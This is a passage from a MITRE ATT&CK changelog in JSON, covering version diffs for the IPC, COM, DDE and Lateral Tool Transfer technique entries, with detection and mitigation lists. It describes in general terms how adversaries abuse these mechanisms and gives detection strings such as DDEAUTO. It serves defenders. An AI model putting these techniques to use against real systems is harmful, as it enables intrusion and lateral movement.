Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \\n \\n-Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.\\n+Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Fireeye Hunting COM June 2019\", \"description\": \"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.\", \"url\": \"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html\"}, \"root['x_mitre_platforms'][1]\": \"macOS\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse inter-process communication (IPC) mecht1Adversaries may abuse inter-process communication (IPC) mech
>anisms for local code or command execution. IPC is typically>anisms for local code or command execution. IPC is typically
> used by processes to share data, communicate with each othe> used by processes to share data, communicate with each othe
>r, or synchronize execution. IPC is also commonly used to av>r, or synchronize execution. IPC is also commonly used to av
>oid situations such as deadlocks, which occurs when processe>oid situations such as deadlocks, which occurs when processe
>s are stuck in a cyclic waiting pattern.   Adversaries may a>s are stuck in a cyclic waiting pattern.   Adversaries may a
>buse IPC to execute arbitrary code or commands. IPC mechanis>buse IPC to execute arbitrary code or commands. IPC mechanis
>ms may differ depending on OS, but typically exists in a for>ms may differ depending on OS, but typically exists in a for
>m accessible through programming languages/libraries or nati>m accessible through programming languages/libraries or nati
>ve interfaces such as Windows [Dynamic Data Exchange](https:>ve interfaces such as Windows [Dynamic Data Exchange](https:
>//attack.mitre.org/techniques/T1559/002) or [Component Objec>//attack.mitre.org/techniques/T1559/002) or [Component Objec
>t Model](https://attack.mitre.org/techniques/T1559/001). Hig>t Model](https://attack.mitre.org/techniques/T1559/001). Hig
>her level execution mediums, such as those of [Command and S>her level execution mediums, such as those of [Command and S
>cripting Interpreter](https://attack.mitre.org/techniques/T1>cripting Interpreter](https://attack.mitre.org/techniques/T1
>059)s, may also leverage underlying IPC mechanisms.>059)s, may also leverage underlying IPC mechanisms. Adversar
 >ies may also use [Remote Services](https://attack.mitre.org/
 >techniques/T1021) such as [Distributed Component Object Mode
 >l](https://attack.mitre.org/techniques/T1021/003) to facilit
 >ate remote IPC execution.(Citation: Fireeye Hunting COM June
 > 2019)
", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1040: Behavior Prevention on Endpoint", "M1042: Disable or Remove Feature or Program", "M1048: Application Isolation and Sandboxing", "M1054: Software Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0012: Script (Script Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-12 14:09:53.107000+00:00", "modified": "2021-07-26 22:51:20.448000+00:00", "name": "Component Object Model", "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1559/001", "external_id": "T1559.001" }, { "source_name": "Fireeye Hunting COM June 2019", "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" }, { "source_name": "Microsoft COM", "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx" }, { "source_name": "ProjectZero File Write EoP Apr 2018", "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.", "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html" }, { "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017", "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/" }, { "source_name": "Enigma MMC20 COM Jan 2017", "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Module: Module Load", "Process: Process Creation", "Script: Script Execution" ], "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows" ], "x_mitre_remote_support": true, "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": true}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-26 22:51:20.448000+00:00\", \"old_value\": \"2020-03-28 19:30:52.639000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\\n\\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\", \"old_value\": \"Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM)\\n\\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM)\\n+Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\\n \\n Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use the Windows Component Object Model (COM)t1Adversaries may use the Windows Component Object Model (COM)
> for local code execution. COM is an inter-process communica> for local code execution. COM is an inter-process communica
>tion (IPC) component of the native Windows application progr>tion (IPC) component of the native Windows application progr
>amming interface (API) that enables interaction between soft>amming interface (API) that enables interaction between soft
>ware objects, or executable code that implements one or more>ware objects, or executable code that implements one or more
> interfaces.(Citation: Fireeye Hunting COM June 2019) Throug> interfaces.(Citation: Fireeye Hunting COM June 2019) Throug
>h COM, a client object can call methods of server objects, w>h COM, a client object can call methods of server objects, w
>hich are typically binary Dynamic Link Libraries (DLL) or ex>hich are typically binary Dynamic Link Libraries (DLL) or ex
>ecutables (EXE).(Citation: Microsoft COM)  Various COM inter>ecutables (EXE).(Citation: Microsoft COM) Remote COM executi
>faces are exposed that can be abused to invoke arbitrary exe>on is facilitated by [Remote Services](https://attack.mitre.
>cution via a variety of programming languages such as C, C++>org/techniques/T1021) such as  [Distributed Component Object
>, Java, and [Visual Basic](https://attack.mitre.org/techniqu> Model](https://attack.mitre.org/techniques/T1021/003) (DCOM
>es/T1059/005).(Citation: Microsoft COM) Specific COM objects>).(Citation: Fireeye Hunting COM June 2019)  Various COM int
> also exist to directly perform functions beyond code execut>erfaces are exposed that can be abused to invoke arbitrary e
>ion, such as creating a [Scheduled Task/Job](https://attack.>xecution via a variety of programming languages such as C, C
>mitre.org/techniques/T1053), fileless download/execution, an>++, Java, and [Visual Basic](https://attack.mitre.org/techni
>d other adversary behaviors related to privilege escalation >ques/T1059/005).(Citation: Microsoft COM) Specific COM objec
>and persistence.(Citation: Fireeye Hunting COM June 2019)(Ci>ts also exist to directly perform functions beyond code exec
>tation: ProjectZero File Write EoP Apr 2018)>ution, such as creating a [Scheduled Task/Job](https://attac
 >k.mitre.org/techniques/T1053), fileless download/execution, 
 >and other adversary behaviors related to privilege escalatio
 >n and persistence.(Citation: Fireeye Hunting COM June 2019)(
 >Citation: ProjectZero File Write EoP Apr 2018)
", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1048: Application Isolation and Sandboxing" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0012: Script (Script Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-12 14:10:50.699000+00:00", "modified": "2021-07-26 22:52:04.196000+00:00", "name": "Dynamic Data Exchange", "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1559/002", "external_id": "T1559.002" }, { "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" }, { "source_name": "Microsoft ADV170021 Dec 2017", "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" }, { "source_name": "Microsoft DDE Advisory Nov 2017", "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", "url": "https://technet.microsoft.com/library/security/4053440" }, { "source_name": "SensePost PS DDE May 2016", "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.", "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/" }, { "source_name": "Kettle CSV DDE Aug 2014", "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.", "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities" }, { "source_name": "Enigma Reviving DDE Jan 2018", "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" }, { "source_name": "SensePost MacroLess DDE Oct 2017", "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.", "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/" }, { "source_name": "Fireeye Hunting COM June 2019", "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" }, { "source_name": "NVisio Labs DDE Detection Oct 2017", "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.", "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Module: Module Load", "Process: Process Creation", "Script: Script Execution" ], "x_mitre_detection": "Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\n\nOLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_remote_support": true, "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": true}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-26 22:52:04.196000+00:00\", \"old_value\": \"2020-03-28 19:32:56.572000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\\n\\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\\n\\nMicrosoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\", \"old_value\": \"Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\\n\\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\\n\\nMicrosoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\\n \\n-Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).\\n+Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\"}, \"root['external_references'][8]['source_name']\": {\"new_value\": \"Fireeye Hunting COM June 2019\", \"old_value\": \"NVisio Labs DDE Detection Oct 2017\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.\", \"old_value\": \"NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html\", \"old_value\": \"https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][9]\": {\"source_name\": \"NVisio Labs DDE Detection Oct 2017\", \"description\": \"NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.\", \"url\": \"https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use Windows Dynamic Data Exchange (DDE) to et1Adversaries may use Windows Dynamic Data Exchange (DDE) to e
>xecute arbitrary commands. DDE is a client-server protocol f>xecute arbitrary commands. DDE is a client-server protocol f
>or one-time and/or continuous inter-process communication (I>or one-time and/or continuous inter-process communication (I
>PC) between applications. Once a link is established, applic>PC) between applications. Once a link is established, applic
>ations can autonomously exchange transactions consisting of >ations can autonomously exchange transactions consisting of 
>strings, warm data links (notifications when a data item cha>strings, warm data links (notifications when a data item cha
>nges), hot data links (duplications of changes to a data ite>nges), hot data links (duplications of changes to a data ite
>m), and requests for command execution.  Object Linking and >m), and requests for command execution.  Object Linking and 
>Embedding (OLE), or the ability to link data between documen>Embedding (OLE), or the ability to link data between documen
>ts, was originally implemented through DDE. Despite being su>ts, was originally implemented through DDE. Despite being su
>perseded by [Component Object Model](https://attack.mitre.or>perseded by [Component Object Model](https://attack.mitre.or
>g/techniques/T1559/001), DDE may be enabled in Windows 10 an>g/techniques/T1559/001), DDE may be enabled in Windows 10 an
>d most of Microsoft Office 2016 via Registry keys. (Citation>d most of Microsoft Office 2016 via Registry keys. (Citation
>: BleepingComputer DDE Disabled in Word Dec 2017) (Citation:>: BleepingComputer DDE Disabled in Word Dec 2017) (Citation:
> Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advi> Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advi
>sory Nov 2017)  Microsoft Office documents can be poisoned w>sory Nov 2017)  Microsoft Office documents can be poisoned w
>ith DDE commands (Citation: SensePost PS DDE May 2016) (Cita>ith DDE commands (Citation: SensePost PS DDE May 2016) (Cita
>tion: Kettle CSV DDE Aug 2014), directly or through embedded>tion: Kettle CSV DDE Aug 2014), directly or through embedded
> files (Citation: Enigma Reviving DDE Jan 2018), and used to> files (Citation: Enigma Reviving DDE Jan 2018), and used to
> deliver execution via [Phishing](https://attack.mitre.org/t> deliver execution via [Phishing](https://attack.mitre.org/t
>echniques/T1566) campaigns or hosted Web content, avoiding t>echniques/T1566) campaigns or hosted Web content, avoiding t
>he use of Visual Basic for Applications (VBA) macros. (Citat>he use of Visual Basic for Applications (VBA) macros. (Citat
>ion: SensePost MacroLess DDE Oct 2017) DDE could also be lev>ion: SensePost MacroLess DDE Oct 2017) DDE could also be lev
>eraged by an adversary operating on a compromised machine wh>eraged by an adversary operating on a compromised machine wh
>o does not have direct access to a [Command and Scripting In>o does not have direct access to a [Command and Scripting In
>terpreter](https://attack.mitre.org/techniques/T1059).>terpreter](https://attack.mitre.org/techniques/T1059). DDE e
 >xecution can be invoked remotely via [Remote Services](https
 >://attack.mitre.org/techniques/T1021) such as [Distributed C
 >omponent Object Model](https://attack.mitre.org/techniques/T
 >1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)
", "changelog_mitigations": { "shared": [ "M1040: Behavior Prevention on Endpoint", "M1042: Disable or Remove Feature or Program", "M1048: Application Isolation and Sandboxing", "M1054: Software Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0012: Script (Script Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-11 21:01:00.959000+00:00", "modified": "2021-09-28 21:17:42.490000+00:00", "name": "Lateral Tool Transfer", "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1570", "external_id": "T1570" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Share: Network Share Access", "Named Pipe: Named Pipe Metadata", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Command: Command Execution", "Process: Process Creation", "File: File Creation", "File: File Metadata" ], "x_mitre_detection": "Monitor for file creation and files transferred within a network using protocols such as SMB. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-28 21:17:42.490000+00:00\", \"old_value\": \"2020-03-23 22:10:10.862000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Network Share: Network Share Access\", \"root['x_mitre_data_sources'][1]\": \"Named Pipe: Named Pipe Metadata\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1031: Network Intrusion Prevention", "M1037: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ 